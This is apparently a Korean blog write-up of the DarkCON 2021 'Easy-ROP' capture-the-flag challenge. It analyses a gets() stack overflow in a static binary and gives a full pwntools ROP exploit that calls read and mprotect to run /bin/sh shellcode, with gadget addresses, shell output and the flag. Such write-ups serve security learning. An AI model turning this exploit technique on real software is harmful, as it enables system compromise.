[DarkCON 2021] Easy-ROP
문제 개요
64비트 Linux 바이너리 easy-rop가 주어집니다. 특이하게 정적으로 링킹되어 있으며, 보호 기법은 Canary와 NX가 적용되어 있습니다.
[*] '/home/user/study/ctf/dark21/pwn/easy-rop/easy-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
문제 분석
main 함수를 보면 다음과 같습니다.
void __fastcall main()
{
int v0; // edx
int v1; // ecx
int v2; // er8
int v3; // er9
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
setvbuf(stdin, 0LL, 2LL, 0LL);
setvbuf(stdout, 0LL, 2LL, 0LL);
setvbuf(stderr, 0LL, 2LL, 0LL);
alarm(64LL);
puts("Welcome to the darkcon pwn!!");
printf((unsigned int)"Let us know your name:", 0, v0, v1, v2, v3, buf[0]);
gets((u32 *)buf);
}
15행에서 gets 함수는 경계 검사 없이 개행 문자('\n') 또는 EOF가 등장할 때까지 입력받으므로, 스택 버퍼 오버플로우가 발생합니다. 다만 정적으로 링킹된 바이너리이므로, 바이너리에 포함된 라이브러리 함수들을 이용해 익스플로잇 코드를 구성해야 합니다.
문제 풀이
IDA Pro로 바이너리를 열고 Exports 탭에서 바이너리에 포함된 라이브러리 함수들의 목록을 확인할 수 있습니다. 목록에서 read 함수와 mprotect 함수가 존재합니다.
따라서 ROP 페이로드를 구성할 때 쓰기 가능한 메모리 공간에 read 함수로 셸코드를 입력받고, mprotect 함수로 실행 권한을 준 후 셸코드로 반환하도록 할 수 있습니다.
ROP 가젯은 "pop rdi ; ret", "pop rsi ; ret", "pop rdx ; ret"이 모두 존재합니다.
➜ easy-rop rp-lin-x64 --file=easy-rop --rop=2 | grep "pop" | grep "rdi"
...
0x00418b76: pop rdi ; ret ; (1 found)
➜ easy-rop rp-lin-x64 --file=easy-rop --rop=2 | grep "pop" | grep "rsi"
...
0x0048e050: pop rsi ; ret ; (1 found)
➜ easy-rop rp-lin-x64 --file=easy-rop --rop=2 | grep "pop" | grep "rdx"
...
0x0040181f: pop rdx ; ret ; (1 found)
또한 쓰기가 가능한 .bss 섹션의 공간이 충분하므로, .bss+0xde0 주소(0x4c3000)에 셸코드를 읽어 저장하도록 하였습니다.
➜ easy-rop readelf -S easy-rop -W
There are 32 section headers, starting at offset 0xd4678:
...
[25] .bss NOBITS 00000000004c2220 0c1210 001738 00 WA 0 0 32
따라서 익스플로잇 코드를 다음과 같이 작성할 수 있습니다.
#!/usr/bin/python
from pwn import *
# r = remote('65.1.92.179', 49153)
r = process('./easy-rop')
e = ELF('./easy-rop')
def main():
gadget = 0x00418b76 # pop rdi ; ret
gadget2 = 0x0048e050 # pop rsi ; ret
gadget3 = 0x0040181f # pop rdx ; ret
read = 0x4510A0
mprotect = 0x451EE0
bss = 0x4c3000
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload = 'a' * 0x48
# read(0, bss, 23)
payload += p64(gadget) + p64(0)
payload += p64(gadget2) + p64(bss)
payload += p64(gadget3) + p64(len(shellcode))
payload += p64(read)
# mprotect(bss, 0x1000, 7)
payload += p64(gadget) + p64(bss)
payload += p64(gadget2) + p64(0x1000)
payload += p64(gadget3) + p64(7)
payload += p64(mprotect)
payload += p64(bss)
r.sendlineafter('Let us know your name:', payload)
pause()
r.send(shellcode)
r.interactive()
if __name__ == '__main__':
main()
➜ easy-rop ./ex.py
[+] Starting local process './easy-rop': pid 17266
[*] '/home/user/study/ctf/dark21/pwn/easy-rop/easy-rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),998(docker)
FLAG
darkCON{w0nd3rful_m4k1n9_sh3llc0d3_us1n9_r0p!!!}
'CTF > Pwn' 카테고리의 다른 글
[Dreamhack S1 Round #5] linux_forest (1) | 2021.02.26 |
---|---|
[DarkCON 2021] Warmup (0) | 2021.02.22 |
댓글
이 글 공유하기
다른 글
-
[Dreamhack S1 Round #5] linux_forest
[Dreamhack S1 Round #5] linux_forest
2021.02.26 -
[DarkCON 2021] Warmup
[DarkCON 2021] Warmup
2021.02.22